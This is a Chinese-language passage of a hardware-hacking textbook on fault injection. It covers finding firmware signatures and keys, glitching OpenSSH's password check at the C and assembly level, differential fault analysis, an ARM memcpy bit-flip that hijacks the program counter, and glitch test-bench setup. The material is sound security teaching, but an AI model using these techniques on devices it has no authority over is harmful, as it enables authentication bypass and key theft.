你可以寻找图像中的 RSA 或椭圆曲线密码学(ECC)签名,这两者都是高熵字节的序列。一个 RSA-2048 签名将会是 2,048 位(256 字节)长,而例如在曲线prime256v1上的 ECDSA 签名将会有 256 × 2 = 512 位的签名(64 字节)。固件块的开始或结束处的熵峰可能表示一个签名。

此外,检查两个旁路信道痕迹之间的差异:一个是在正确签名下启动,另一个是在损坏签名下启动。此测试可以帮助你准确找出启动过程中执行路径何时分叉,这通常(但不一定)发生在签名验证之后。这些信息在你希望通过故障注入绕过签名验证时也很有用。

最后,图像实际上可能会随带用于验证其完整性的公钥,因为 ROM(或熔断器)的空间有限,而公钥(特别是 RSA)相当大。这意味着你可以在固件镜像中查找高熵部分,这些部分就是公钥。对于 RSA-2048,公钥是 2,048 位的模数和公钥指数。通常,这个指数是 65,537(或 0x10001)。在高熵部分旁边找到 0x10001 通常表示 RSA 公钥。对于 ECC,公钥是曲线上的点。有几种方式来编码这一点——例如,在仿射(x,y)坐标中,prime256v1 曲线的 x 和 y 各占 256 位,总共是 512 位。压缩编码利用了椭圆曲线有两个可能的 y 值这一特性,给定曲线和点的 x 坐标,所以 prime256v1 上点的压缩表示只包含完整的 x 坐标(256 位)和 1 位 y 坐标,总共 257 位。“高效密码学标准,SEC 1:椭圆曲线密码学”规定了一种常见的编码方式:如果点是未压缩的,它会以 0x04 为前缀;如果是压缩的,则以 0x02 或 0x03 为前缀,具体取决于 y 的 1 位值。

你可能会想,如何将验证密钥嵌入到对象中以进行安全验证?这很容易被伪造啊!你说得对。为了节省空间,公钥的哈希值通常会存储在保险丝中。这意味着在启动时,首先会验证公钥的哈希值是否与存储的哈希值一致,只有通过验证后,公钥才会用来验证固件镜像。这一过程为攻击者提供了第二个故障注入的切入点。攻击者可以创建一个固件镜像,嵌入他们自己的公钥,并用这个密钥签署固件镜像。接下来,可以通过故障注入绕过密钥验证。

固件镜像的签名方式较少见的包括基于哈希的消息认证码(HMAC)或基于密码的消息认证码(CMAC)。这些认证码要求分发对称密钥,这意味着要么你在每个设备中都编程了一个“根密钥”(能够验证并签署任意固件镜像),要么你为每个设备分配不同的对称密钥,但这样就需要用设备专用的密钥加密每个固件镜像。第一种选择是愚蠢的;第二种选择则成本高昂。第一种选择也正是菲利普 Hue 攻击的发生方式(参见 Eyal Ronen 等人撰写的《IoT Goes Nuclear: Creating a ZigBee Chain Reaction》),因此不要总是认为你可以排除某种方式,因为肯定没有哪个严肃的产品会这么做

总结

在本章中,我们探讨了如何收集硬件黑客攻击所需的有用信息,这通常就是你所需要的一切。例如,许多设备并没有固件加密,一旦你有能力通过 JTAG 提取固件,你就能学到足够的知识来利用该设备。

如果运气好的话,我们可以直接学到足够的知识来利用系统,如果我们被迫使用更高级的攻击手段,我们也能理解这些攻击如何应用到我们的系统上。由于本书讨论的是高级攻击方法,我们假设这些方法是必需的,并将直接深入探讨它们的工作原理。我们将结合本章中描述的信息发现技巧和第二章中概述的接口技能,在下一章中测试系统的故障注入弱点。

第四章:陶瓷店里的公牛:引入故障注入

故障注入是一门通过在正常设备功能执行过程中引发小的硬件损坏,绕过安全机制的艺术和科学。故障注入对系统安全性可能构成的风险甚至大于旁道分析。旁道分析针对加密密钥,而故障注入则可以攻击其他各种安全机制,例如安全启动,除了能够完全控制系统外,还可能允许直接从内存中提取密钥,而无需复杂的旁道分析。

故障注入的核心是让硬件在超出正常操作参数的情况下运行,并通过操控物理规律来实现预期的结果。这是“自然发生的故障”和“攻击者引发的故障”之间的主要区别。攻击者试图精确地设计故障,使复杂系统发生故障并产生特定效果,从而绕过安全机制。这可能从权限提升到秘密密钥提取不等。

达到这种精确度高度依赖于故障注入设备的精度。精度较低的注入设备会产生更多意想不到的效果,这些效果在每次注入尝试中可能会有所不同,这意味着只有部分故障能够被利用。攻击者尝试最小化故障注入尝试的次数,以便在合理的时间内实现漏洞利用。在第五章中,我们讨论了几种故障注入方式以及故障发生时芯片上发生的物理变化。

故障注入在实践中并不总是一个相关的攻击方式,因为通常需要对目标进行物理访问。如果目标安全地位于一个有安保的服务器机房内,故障注入就不适用了。当你已经用尽了逻辑硬件和软件攻击方式,但仍能物理访问目标时,故障注入可以是一个有效的攻击手段。(软件触发的故障注入是一个例外,因为硬件故障是由软件过程引起的,因此不需要物理存在。更多细节请参见第一章的“软件对硬件的攻击”部分。)

在本章中,我们讨论了故障注入的基础知识,以及为什么要进行故障注入的各种理由。我们还通过识别通过故障绕过身份验证的例子,对真实库(OpenSSH)中的一个实例进行了研究。故障在实践中是不可预测的,它们需要大量调整故障注入测试平台的参数,因此我们还探讨了故障注入测试平台设置的各个部分以及调优参数的策略。

故障的安全机制

设备具有多种安全机制,适合用来进行故障注入攻击。例如,JTAG 端口的调试功能可能只有在输入密码后才能启用,设备固件可能经过数字签名,或者设备硬件可能存储一个密钥,软件无法访问。任何理智的硬件工程师都会使用一个单独的位来表示访问授权状态,而不是访问拒绝,回家去状态,并且会假设这个重要的位会保持其值,直到它的控制软件指示改变。

现在,由于故障注入在实践中是随机的,要精确击中能破坏安全机制的那个比特位并非易事。假设我们可以访问一个故障注入器,在某个特定时刻翻转一个比特位。(这是故障注入中的独角兽:它很美丽,每个人都想要,但在实践中并不存在,除非我们考虑微探针,但那是另一类物理攻击。)

现在,我们可以利用故障注入来绕过各种安全机制。例如,当设备启动并执行固件签名验证时,我们可以翻转保存(无效/有效签名)状态的布尔值。我们还可以翻转锁定功能上的锁定位,例如加密引擎,这样就可以使用我们不应该使用的秘密密钥。我们甚至可以在执行加密算法时翻转比特,以恢复加密密钥材料。让我们更详细地看看这些安全机制。

绕过固件签名验证

现代设备通常从存储在闪存中的固件镜像启动。为了防止从被篡改的固件镜像启动,设备制造商会对其进行数字签名,并将签名存储在固件镜像旁边。当设备启动时,固件镜像会被检查,并使用与设备制造商相关联的公钥验证签名。只有当签名验证通过时,设备才会允许启动。该验证是通过加密方式确保安全的,但最终设备必须做出二元决策:启动还是不启动。在设备的启动软件中,这个决策通常归结为一个条件跳转指令。针对这个条件跳转的完美故障注入可以诱发一个“有效”的结果,即使固件镜像可能已经被修改。尽管软件可能很复杂,但在单一位置控制的故障就能妥协所有安全性。

在设备启动过程中获得运行时访问权限,允许攻击者妥协其后加载的任何软件,这通常是操作系统和任何应用程序,其中包含了设备的许多有用部分。

获得对锁定功能的访问

一个安全系统需要控制对功能和资源的访问。例如,一个应用程序不应该能够访问另一个应用程序的内存;只有内核可以访问 DMA 引擎,且只有授权用户能够访问文件。

当发生未经授权的资源访问尝试时,检查一个特定的访问控制位(或多个位),结果是“拒绝访问”。这个决策通常基于单个位的状态,并通过单一的条件分支指令强制执行。完美的故障注入器利用这个单点故障并可以翻转这个位。嘭!成就解锁。

恢复加密密钥

执行加密过程时引入的故障实际上可能会泄露加密密钥材料。关于这个话题,有大量的研究工作,通常归类为差分故障分析(DFA)。这个名字来源于对故障密码执行进行差分分析:我们分析正确和故障密码输出之间的差异。已知的 DFA 攻击存在于 AES、3DES、RSA-CRT 和 ECC 加密算法中。

对这些加密算法进行攻击的常见方法是对已知输入数据进行解密,有时不进行故障注入,而有时则在解密过程中注入故障。通过分析输出数据,可以确定密钥本身。已知的 3DES DFA 攻击只需要约 100 个故障即可完全恢复密钥。对于 AES,仅需要一个或两个;有关更多信息,请阅读 Kazuo Sakiyama 等人的文章《信息理论方法优化差分故障分析》。经典的 Bellcore 攻击针对 RSA-CRT,只需一个故障即可恢复整个 RSA 私钥,无论密钥长度如何,即使你理解了数学原理,它依然显得神秘莫测!你可以在加密中的故障分析(Springer,2012 年)一书中阅读更多关于此的内容,该书由 Marc Joye 和 Michael Tunstall 编辑。

通过使密码实现只运行一个轮次、跳过密钥添加、部分清零密钥或进行其他破坏,可以实现非 DFA 攻击。所有这些方法都需要分析算法的加密特性和故障,以理解如何从故障执行中恢复密钥。在最简单的情况下,你可以获得包含密钥材料的内存转储。我们将在第六章中通过实验室再次讨论 DFA。

OpenSSH 故障注入练习

让我们考虑如何在通过 OpenSSH 连接访问时注入故障,并在真实的安全代码段中识别可能的注入点。假设设备已经禁用了固件认证检查和调试端口,唯一的接口是通过连接到监听 OpenSSH 服务器的以太网端口。

向 C 代码中注入故障

为了在密码提示阶段尝试故障注入,我们必须检查列表 4-1 中的 OpenSSH 7.2p2 代码。

`--snip--`
 50
 51 int **userauth_passwd**(Authctxt *authctxt)
 52 {
 53         char *password, *newpass;
 54         int authenticated = 0;
 55         int change;
 56         u_int len, newlen;
 57
 58         change = packet_get_char();
 59         password = packet_get_string(&len);
 60         if (change) {
 61                 /* discard new password from packet */
 62                 newpass = packet_get_string(&newlen);
 63                 explicit_bzero(newpass, newlen);
 64                 free(newpass);
 65         }
 66         packet_check_eom();
 67
 68         if (change)
 69                 logit("password change not supported");
 70         else if (PRIVSEP(auth_password(authctxt, password)) == 1)
 71                 authenticated = 1;
 72         explicit_bzero(password, len);
 73         free(password);
 74         return authenticated;
 75 }
`--snip--`

列表 4-1:auth2-passwd.c中的 OpenSSH 密码验证代码

我们在列表 4-1 中复制的userauth_passwd函数显然负责密码正确性的“是/否”判断。第 54 行的authenticated变量表示有效访问。仔细阅读这段代码,考虑如何通过故障注入来操控执行,使authenticated变量在提供无效密码时返回1值。假设你可以做诸如翻转位或更改分支之类的操作。不要停下来,直到你找到了至少三种方法;然后阅读以下答案。

以下是一些理论上可以故障这个代码的方法:

  • 在第 54 行之后或第 54 行时将authenticated标志翻转为非零。

  • 将第 70 行auth_password()的返回值更改为1

  • 将第 70 行比较的结果更改为“true”。

  • 将第 70 行的检查值更改为提供的密码。

  • 请求更改密码,将change设置为1,然后使第 62 行的newpass指向与password相同的位置,并通过软件利用现在在第 64 行和第 73 行释放相同内存的双重free调用进行利用。

这个最后的故障场景是非常牵强的,因为我们在实践中从未见过那种控制目标的情况。然而,其他的都是基本故障。一旦你追踪到导致auth_password()函数的代码,更多的故障机会就会显现出来。

关键点在于,一些故障在实践中比其他故障更容易实现。通常,定时越精确或所需效果越具体,成功故障的概率就越低。

向机器码注入故障

查看 C 代码是一个很好的练习;然而,CPU 并不会执行 C 语言。CPU 执行的是从 C 代码生成的指令,即机器码。机器码对人类来说很难阅读,因此我们将查看汇编代码,汇编代码是机器码的直接表示。汇编代码指令的抽象级别低于 C,并且更直接地表示了硬件中的活动(在高端 CPU 上,还有一个更低抽象级别的微代码层,我们将忽略它,因为它大多是不可见的)。

故障发生在硬件内部,处于物理层,并向上传播到各个抽象层。位翻转可以在 CPU 内部发生,而该 CPU 正在执行一个二进制文件,而这个二进制文件是从某些源代码生成的。因此,尽管故障与之前的 C 代码之间存在某种关系,但查看汇编代码使我们更接近故障。有关此方面的背景阅读,请参见 Bilgiday Yuce 等人所著的《Fault Attacks on Secure Embedded Software: Threats, Design and Evaluation》。

对于本书,我们获取了一个 OpenSSL 二进制文件,并将其加载到 IDA Pro 反汇编程序中。请查看图 4-1 中userauth_passwd函数末尾的反汇编。

f04001

图 4-1:在汇编代码中识别注入故障的指令

按照惯例,函数返回用户身份验证状态的rax寄存器中的值。此rax寄存器需要为非零值,程序才能将其解释为authenticated==true。请注意,eax只是rax的低 32 位,因此请通过查看标记为loc_24723的最终基本块(标记为 1)来思考导致rax为 0 的条件。我们将等待(以下是剧透)。

需要发生的情况是,输入状态必须使得最终的loc_24723基本块(位置 1)满足ebp != 0。在 Intel 汇编中,ebprbp的低 32 位,bplrbp/ebp的低 8 位。现在回溯代码并思考通过注入故障翻转某个位或跳过某个指令来实现ebp != 0的方法。我们再等一下。

这里是我们找到的几种方法:

  • loc_24748(标记为 2)处,跳过对mm_auth_password的调用,并希望eax1。如果eax1,则setz bpl指令会使ebp != 0,因此authenticated==true

  • loc_24748(标记为 2)处,引入一个故障来跳过cmp eax,1指令,并希望auth_passwordz标志设置为1

  • 好吧,你可能没找到这个,除非你自己分析了二进制文件中的调用函数。(总是从大局着眼;问题通常就藏在这里!)在auth_password调用之后,authenticated变量出现在eax中,然后是bpl标志,接着是ebp,最后是rax(例如,3 将ebp复制到rax/eax),这意味着你可以在相关寄存器的任何地方诱发故障,从而将authenticated的值设置为 1。

  • 将密码change标志设置为true(通过协议或故障;注意,任何非零值都会被视为true),从而导致如图 4 所示的password change not supported响应,传递给logit函数调用。注入一个故障跳过该调用后的xor ebp,ebp步骤,然后希望ebp是非零值。

再次说明,你可以在多个点注入故障到汇编代码中。你不需要非常精确地计划注入哪个故障来达到某个特定的结果。在这个例子中,多个故障可以设置authenticated==true,以绕过密码机制。

现在,OpenSSH 在编写时并没有考虑故障注入;这并不是其威胁模型的一部分。在第十四章中,你将了解到如何在软件中采用各种对策,减少注入故障的效果。你还会在那一章找到有关故障仿真的信息,利用这些信息可以检测代码抵抗故障的能力。增强代码对自然发生的故障的鲁棒性,也限制了恶意故障注入,但并非完全阻止。关于非恶意故障注入的更多内容,请参阅 Jeffrey M. Voas 等人所著的《软件故障注入》(Wiley,1998)。至于芯片中的安全措施为何并不总能转化为安全机制,请参见 Niels Wiersma 等人所著的《安全 ≠ 安全:对 ASIL-D 认证微控制器抗故障注入攻击的安全评估》。前述来源和汇编代码示例展示了一个单一故障如何对安全性产生重大影响,例如绕过密码。

故障注入公牛

到目前为止,我们假设我们可以使用一个虚构的完美的一位故障注入器,我们称之为故障注入独角兽。不幸的是,这个设备并不存在,因此让我们看看如何尽可能接近我们的虚构独角兽,但使用现实世界中现有的工具。实际上,我们能期望的最好情况是有时能够造成一些有用的故障。注入故障的简单方法包括超频或欠压电路并使其过热。也有类似科幻的手段,例如使用强大的电磁(EM)脉冲、聚焦激光脉冲,或者通过α粒子或伽马射线辐射。

攻击者选择一种故障注入手段,然后调整时机、持续时间和其他参数,以最大化攻击的效果,这就是目标。防御者的目标是最小化这些攻击的效果,这就是故障注入从理论走向实践的地方。

实际上,你不可能在第一次尝试时注入一个完美的故障,因为你不知道故障的参数。如果你知道正确的参数,那么我们的独角兽故障注入器将对目标产生确定性的效果。然而,由于你的注入器总是包含一些不精确和抖动,即使使用相同的设置,你也会观察到多种不同的效果。在实践中,你的注入器的不精确将导致随机的故障注入尝试,你需要进行几次尝试才能成功攻击。

为了解决这个难题,你需要构建一个系统来执行故障实验,并尽可能精确地控制目标。其思路是启动目标操作,等待触发信号以指示目标操作正在执行,然后注入故障,捕获结果,如果需要,再重置目标进行新的尝试。

目标设备与故障目标

如前所述,故障注入需要对设备进行物理控制,因此首先需要一台设备(如果损坏了某个设备,最好准备几台)。选择像 Arduino 这样的简单设备或其他较慢的微控制器是有帮助的——最好选择已经编写过代码的设备。

接下来,你需要明确通过故障注入所要达到的目标,例如绕过密码验证的障碍。在前一节中,你已经看到了对 OpenSSH 代码的分析,包括 C 语言和汇编语言的分析,提供了实现此目标的多种方式。请记住,C 语言、汇编语言以及 Verilog 或 VHDL 只是对物理硬件发生的事情的表示。在这里,你试图通过干扰硬件的物理环境来操控硬件。通过这样做,你打破了工程师的假设——例如,晶体管仅在被指令驱动时才会切换,逻辑门将在下一个时钟周期前实际切换,CPU 指令将正确执行,C 程序中的变量会在被覆盖之前保持其值,或算术操作总是能正确计算其结果。你在物理层面引发故障,以在更高层次上实现目标。

故障注入工具

你对物理学的理解越深入,你就能越好地规划你的故障注入器,但并不意味着你需要拥有物理学博士学位。第五章将更深入地探讨不同方法背后的物理学原理以及故障注入设备的构造。

一个生成时钟信号的故障注入器可以复制目标设备的常规时钟信号,但然后在特定时刻注入一个非常快速的周期,以超频某个过程。目标是在引入快速周期时,导致 CPU 发生故障。图 4-2 显示了这样的时钟信号的样子。

f04002

图 4-2:使用快速周期导致 CPU 故障

这里我们有一个正常的时钟,其周期为 70ns,直到周期 A。周期 A 被缩短,使得周期 B 在周期 A 开始后仅 30ns 开始。周期 B 和 C 的持续时间再次为 70ns。这可能会在周期 A 和/或 B 期间导致芯片操作故障。

在处理 GHz 时钟速度时,纳秒级的时序抖动差异非常大;1 纳秒是 1 GHz 时钟周期的长度。要在实践中实现如此精确的时序,意味着需要构建专门的硬件电路来进行故障注入。

你需要尽可能多地控制故障注入的各个方面,因此确保你的注入器是可编程的。找到合适的故障参数需要进行许多实验,每个实验都有不同的设置。在时钟注入器的例子中,你需要能够将注入器编程为正常时钟速度、超频时钟速度和注入点。通过这种方式,重复实验将允许你控制注入的频率,并找出哪些设置导致异常或可重复的效果。

目标准备与控制

准备故障注入的细节取决于你的目标和你打算注入的故障类型。幸运的是,你会想做一些常见的操作:向目标发送命令、接收来自目标的结果、控制目标重置、控制触发器、监视目标并执行任何特定故障的修改。图 4-3 展示了连接的概览。

f04003

图 4-3:PC、故障注入器和目标之间的连接

图 4-3 中的故障注入器是执行故障注入的物理工具。目前,我们只是假设它可以通过我们简要描述的一种方法(如时钟、电压等)在目标中插入故障。目标将触发故障注入器,以便同步故障注入器与目标。这一触发通常直接传送到故障注入器工具,因为故障注入器工具与通过 PC 路由触发器相比,具有非常精确的时序。PC 将控制整体目标通信,因为我们需要记录设备的各种输出数据。由于时序是这里的关键因素,我们可以通过现在查看交互来更好地了解整体设置如何工作。

图 4-4 展示了一个常见的时序图,概述了 PC(控制一切)、故障注入器和目标之间的交互。你可以认为故障注入器通过 USB 等标准接口连接到 PC。

f04004

图 4-4:由 PC 启动的单次故障注入尝试的操作顺序,PC 控制故障注入器和目标

这个时序图显示了我们首先用我们要测试的参数配置故障注入器。在这个例子中,我们还将故障延迟故障时长作为配置参数。目标触发事件后,故障注入器会等待故障延迟时间,然后插入一个时长为故障时长的故障(波动)。插入故障后,我们观察目标操作的输出。

向目标发送命令

目标设备需要运行一个你打算通过脚本控制的故障过程或操作。这取决于操作的类型,但它可以是通过 RS232、JTAG、USB、网络或其他通信通道发送的命令。有时候,启动目标操作可能像开机一样简单。在之前的 OpenSSH 示例中,你需要通过网络连接到 SSH 守护进程并发送密码,这样就能启动密码验证目标操作。

从目标设备接收结果

接下来,你需要知道你注入的故障是否产生了某些有趣的结果。一种典型的方法是监控目标设备的通信,查看是否有任何结果代码、状态或其他可能是注入的有趣信号。尽量以最低级别监控并记录所有来自通信通道的信息。

例如,在串行连接中,监控所有来回传输的字节,即使在其上运行了更复杂的协议。目的是让设备发生故障。传输的数据可能会异常,并且不遵循正常的通信协议。你不希望任何协议解析器阻碍你捕获设备故障。捕获所有数据,稍后再进行解析。在 OpenSSH 示例中,嗅探所有来自目标设备的网络流量,而不仅仅依赖于 SSH 客户端的日志。

控制目标重置

在你的实验取得成功之前,你可能会多次使目标设备崩溃,因为每次实验可能会导致未确定的行为或状态。你需要某种方法将设备重置为已知状态。一种方法是通过按下重置或线路按钮来启动热重置,这通常是足够的,尽管有时设备无法正确重置。在这种情况下,你可以通过切断目标设备的核心或设备的电源来进行冷重置。在进行电源中断时,切断电源的时间要足够长,以便进行干净的重置(如果过快进行,可能会导致故障——你可不想发生这种情况)。如果这不可行,便宜的 USB 控制电源插座可能能提供你所需的功能,尽管它也可能会崩溃。如果设备发出异常数据,通信通道的两端都有可能崩溃。主机需要重新识别 USB 目标设备,然后你才能继续。在主机上的控制代码应该预见并尝试处理这些问题。在 OpenSSH 示例中,运行 OpenSSH 服务器的设备在重置后应该自动重新启动服务器。

控制触发器

触发器是来自目标内部的电信号。故障注入器利用这些信号与目标操作同步。使用一个稳定且抖动最小的触发器可以更容易地在正确的时间注入故障。最好的方法是编程目标设备,在芯片的任何外部引脚上生成触发信号,例如 GPIO、串口、LED 等。在目标操作之前,触发引脚被拉高电压,目标操作完成后,触发引脚被拉低电压。当故障注入器看到触发信号时,它会等待一个可调的延迟,然后注入故障。这样,你就有了一个相对于目标操作的稳定时间参考点,并可以尝试在不同的延迟下向其执行过程注入故障。图 4-5 显示了目标操作、触发器和故障时序的概述。

f04005

图 4-5:目标操作、触发器和故障时序概述

功耗通过示波器测量,代表目标操作。脉冲也是通过示波器测量的,代表触发信号,故障则是为故障注入器创建的输入脉冲,代表故障的时序和幅度。

即使触发后的延迟应该是恒定的,目标上的时钟抖动可能导致目标操作没有在可预测的时间发生,从而降低故障的成功率。

抖动可能来自其他意外的来源,因此,作为表征设备的一部分,务必检查设备在执行过程中是否具有不稳定的时序。明显的抖动来源包括中断以及在触发指令和实际目标故障代码之间留下大量多余代码。但即使是“简单”的设备(如 ARM Cortex-M 处理器)也可能会即时优化机器指令,这意味着执行某个指令的延迟取决于先前执行的指令(上下文)。这意味着,如果你将触发代码移动到不同的区域,就会出现一个意外的小周期差异。许多设备(包括 ARM Cortex-M)支持指令同步屏障(ISB)指令,可以在执行触发代码之前插入该指令以“清除”上下文。

如果遇到无法通过编程方式创建硬件触发器的设备,则可以退而求其次使用软件触发,这需要从控制主机发送命令来启动操作,在控制主机上执行精确的延迟,然后通过发送软件命令启动故障注入器。纯软件解决方案会受到软件控制中所有抖动的影响。诱发一个有意义的故障并非不可能,但会降低你可靠再现故障的能力。

在 OpenSSH 示例中,您可以重新编译 OpenSSH,加入生成触发信号的命令,或者通过让控制主机向 OpenSSH 服务器发送密码并随后发送一个“go”命令给故障注入器,来使用基于软件的触发方式。

监控目标设备

为了调试您的设置,您需要监控目标、通信、触发信号和复位线路。逻辑分析仪或示波器是执行此任务的好帮手。在没有注入故障的情况下运行几次目标操作,并捕获通信、触发和复位线路的信号。它们都工作正常吗?利用您的侧信道能力(见第 8 和第九章)在监控目标行为时也可能获得启发。例如,您应该能够看到触发信号与执行操作之间的抖动有多少。如果操作在示波器的时间轴上来回跳动,说明是抖动引起的。运行几个试验故障,看看一切是否继续正常运行。

监控有一个巨大的警告。在模拟域中,测量过程本身总是会影响目标设备。您不希望将示波器连接在 VCC 线路上,以免吸收那漂亮的电压波动。线缆上的额外负载会改变注入故障的形状。如果必须保持示波器连接,请将其配置为高阻抗,并使用 10:1 探头。

在开始实际的故障注入实验之前,要三重确认一切都正常工作,然后移除所有临时监控设备,以免干扰实验结果。曾有很多次,由于设置上的简单失误、预料之外的不稳定性、操作系统(OS)更新等原因,干扰了本来精心设计的实验。周末的实验因此作废,大家都感到很失望。

执行故障特定的修改

要成功执行故障注入,通常需要物理地修改目标设备。在 OpenSSH 示例中,时钟故障要求修改印刷电路板(PCB),以注入时钟(我们将在后续章节讨论具体的修改可能性和策略)。

您规划、编程和构建攻击组件的越稳健,您就能越有效地进行故障注入实验。您的设置需要足够坚固,能够持续运行数周并应对可能发生的任何异常情况。在进行一百万次左右的故障注入后,墨菲定律告诉我们,故障一定会发生,不一定是在目标设备上,而是在您的设置上!

故障搜索方法

现在目标设备已连接并装置好,我们可以开始注入故障。我们尚不清楚的是,究竟在何时、何地、注入多少以及注入的频率如何。一般的方法是通过一些基本的目标分析、反馈和运气,找到一组有效的参数组合。

首先,我们需要确定目标对哪种类型的故障敏感。在 OpenSSH 示例中,我们直接目标是认证绕过,并假设我们知道如何插入故障——即哪些类型的故障和参数是成功的。可能我们可以通过故障让目标跳出循环或破坏内存。为此,我们将设计各种实验和测试程序,帮助缩小目标的敏感性范围。

接下来,我们将展示一个时钟故障示例,目的是找到这些参数,并逐步演示实验步骤,帮助你理解将所有内容整合后实验的样子。然后,我们将进一步探讨搜索策略,因为存在多种技术可以遍历庞大的故障参数搜索空间。

发现故障原语

拥有一个可编程的目标系统让你能够进行实验,并准确地了解它的弱点。主要目标是发现故障原语和相关的参数值。故障原语是指攻击者在注入特定故障时对目标造成的影响类型。它不是故障本身,而是结果的类别,例如引起跳过指令或更改特定数据值。准确预测可以诱发什么样的结果是困难的,但通过测试,你可以帮助调查并调试你的设置。Josep Balasch、Benedikt Gierlichs 和 Ingrid Verbauwhede 的论文《时钟故障对 8 位 MCU 影响的深入黑箱表征》提供了一个例子,展示了如何更深入地反向工程分析 CPU 中故障的作用。

循环测试

循环测试是针对执行 n 次迭代的循环进行的。每次迭代都会根据某种因子增加一个 count 变量;在本示例中,假设因子为七。清单 4-2 中的代码展示了如何通常执行这种迭代计数检查。

// SOURCE: loop.c

// Since you're actually reading source code, here's a treat. Note the 'volatile'
// keyword and guess why it's there. Hint: compile with and without 'volatile' and
// check the difference in the disassembly.
int main() {
        volatile int count = 0;
        const int MAX = 1000;
        const int factor = 7;
        int i;
        gpio_set(1); // Trigger high
        for (i = 0; i < MAX; i++) {
                count+=factor;
        }
        gpio_set(0); // Trigger low
        if (i != MAX || count != MAX*factor) {
                printf("Glitch! %d %d %d\n", i, count, MAX);
        } else {
                printf("No luck, try again\n");
        }
        return 0;
}

清单 4-2:一个简单的循环示例

在程序结束时,count 的值应该是 factor 乘以 n。如果最终的计数值与预期不符,则说明发生了故障。根据输出,你可以推测发生了什么故障。如果跳过了 count 增加操作,你会看到计数值比预期少了七。如果跳过了循环计数器的增量操作一次,你会看到计数值比预期多了七。如果通过破坏结束检查过早跳出了 for 循环,你会看到一个是七的倍数,但比 MAX * 7 要小很多的计数值。这些是较易逆向工程的故障模型。你还可能看到看起来完全是垃圾的值,在这种情况下,可能有助于转储所有 CPU 寄存器。故障时寄存器交换并不罕见,这时你可能会在计数中看到栈或指令指针。

寄存器或内存转储测试

通过这种类型的测试,我们尝试找出是否能影响 CPU 中的内存或寄存器值。我们首先创建一个程序来转储寄存器状态或(部分或哈希)内存,以创建基准。接着,我们创建一个程序,触发一个触发器,执行nop 滑动(CPU 中的一大堆连续的“无操作”指令),然后关闭触发器,再次转储寄存器状态或内存。然后,我们启动该程序并尝试在 nop 滑动执行过程中注入一个故障。由于 nop 滑动自然不会影响寄存器(除了指令指针)或内存,因此不会污染测试结果。经过这个实验,我们可以通过转储或比较哈希检查内存或寄存器内容是否发生变化。

该测试有助于确定使用电磁脉冲时故障的位置,因为你可能能够找到 RAM 单元或寄存器的物理位置与逻辑位置(寄存器或内存)之间的关系。

内存复制测试

在内存复制过程中,可能会有机会使用攻击者控制的数据破坏一些内部寄存器,从而实现任意代码执行。该理论(发表于 Niek Timmers、Albert Spruyt 和 Marc Witteman 的论文《使用故障注入控制 ARM 上的 PC》)如下所述。以 ARMv7 为例,实现了高效的内存复制,如清单 4-3 所示,通过将多个寄存器填充一个加载指令,然后通过一个存储指令写入所有这些寄存器。

memcpy:
LDMIA R1!,{R4-R7} ; Load registers R4,R5,R6,R7 with data at address in R1
                  ; inc R1
STMIA R2!,{R4-R7} ; Store register content in R4,R5,R6,R7 at address in R2
                  ; inc R2
CMP R1,R3         ; End address in R3; are we done?
BNE memcpy        ; Not done: jump to memcpy

清单 4-3:内存复制测试

在循环中运行前面的代码会复制一块数据。当我们查看指令如何编码时,它变得有趣(见表 4-1)。

表 4-1:指令编码

ARM 汇编 十六进制 二进制
LDMIA R1!, E8B100F0 11101000 10110001 00000000 11110000
LDMIA R1!,{R4–R7,PC} E8B180F0 11101000 10110001 10000000 11110000

在表 4-1 中,指令编码的最后 16 位表示寄存器列表。R4–R7 由索引 4–7 中连续 4 个位被设置为 1 来表示。索引 15(从右数的第 16 位)表示程序计数器(PC)寄存器。这意味着,操作码中的一个比特差异允许在正常的复制循环中从内存加载数据到 PC。如果故障能够引起比特翻转,并且如果内存复制的源是攻击者控制的,那意味着 PC 将变为攻击者控制。

想一想,如果你能够通过故障设置 PC,你会输入什么数据到复制例程中。以下是其中一个答案:

Address 0000: 00001000 00001000 00001000 00001000
`--snip--`
Address 0ff0: 00001000 00001000 00001000 00001000
Address 1000: <`attack code`>

如果你引发了一个故障,导致 LDMIA 操作码在加载前 0x1000 字节内的任何数据时翻转了 PC 位,那么会将 0x1000 加载到 PC 中。在地址 0x1000 处,你放置攻击代码,当 PC 指向那里时,你就获得了代码执行权限!这个例子有些简化了,假设内存缓冲区的来源地址是 0\。你需要弄清楚源缓冲区实际所在的偏移量,然后再偏移所有内容。

如果这个场景看起来有些牵强,实际上在启动过程中的拷贝循环(比如从闪存到 SRAM 的拷贝)或甚至在内核/用户空间边界(比如将缓冲区拷贝到内核内存)中遇到这样的情况是非常常见的。这是一种安全机制,旨在防止低权限进程在高权限进程使用缓冲区内容时更改该内容。

这个例子是针对 AArch32 的,但其他架构也有类似的构造(更多细节请参考 Timmers、Spruyt 和 Witteman 的论文)。

加密测试

加密测试通过相同的输入数据反复运行加密算法。大多数算法在遇到相同的输入时会提供相同的输出。椭圆曲线数字签名算法(ECDSA)是一个显著的例外,它在每次运行时都会生成不同的签名。如果你看到输出损坏,你可能能够执行差异故障分析攻击(参见本章前面的“恢复加密密钥”),通过这种方式,你可以从故障的加密算法中恢复密钥材料。

针对非可编程设备

你并不总是有好运针对一个可编程设备,这会使确定故障原语变得复杂。在这种情况下,你有两种基本的选择。第一种选择是获取一个类似的可编程设备——例如,一个具有相同 CPU 和可编程固件的设备——并希望故障原语相似。通常情况是这样的,尽管一些具体的故障参数可能会有所不同。第二种选择是利用监控能力和推理能力来攻击目标设备,并希望能有所发现。例如,如果你想破坏加密算法的最后一轮,可以使用旁路测量来发现时序,并进行广泛的参数搜索,以帮助发现更多的故障参数。

查找有效故障

前面章节中的循环、内存转储和加密测试让你能够确定发生了何种故障,但它们并未告诉你如何引发有效的故障。首先,确定目标的基本性能参数——最小和最大时钟频率、电压等——为开始查找有效的故障提供一些大致的参考值。这时,故障注入就从科学转变为一种艺术。现在的关键是调整故障注入器的参数,直到它们变得有效。

超频故障示例

假设你有一个目标设备,运行着一个循环测试程序,并且将时钟故障注入器连接到时钟线,如图 4-6 所示。

f04006

图 4-6:时钟切换安排

这个简单的工作台使用电子开关将两种时钟频率中的一种发送到设备。其理念是,快速时钟对目标设备来说过于迅速,因此会导致故障。微控制器(时钟故障注入器)控制切换,同时也在监控目标设备。

你可以调整多个参数来调节故障。根据目标设备的不同,一组参数值要么没有效果,要么导致完全崩溃,或者如果选择得当,会导致一些故障。参数类型包括超频频率、触发后开始超频的时钟周期数,以及连续超频的周期数。你还可以调整高低电压、上升/下降时间以及时钟的其他更复杂的方面。

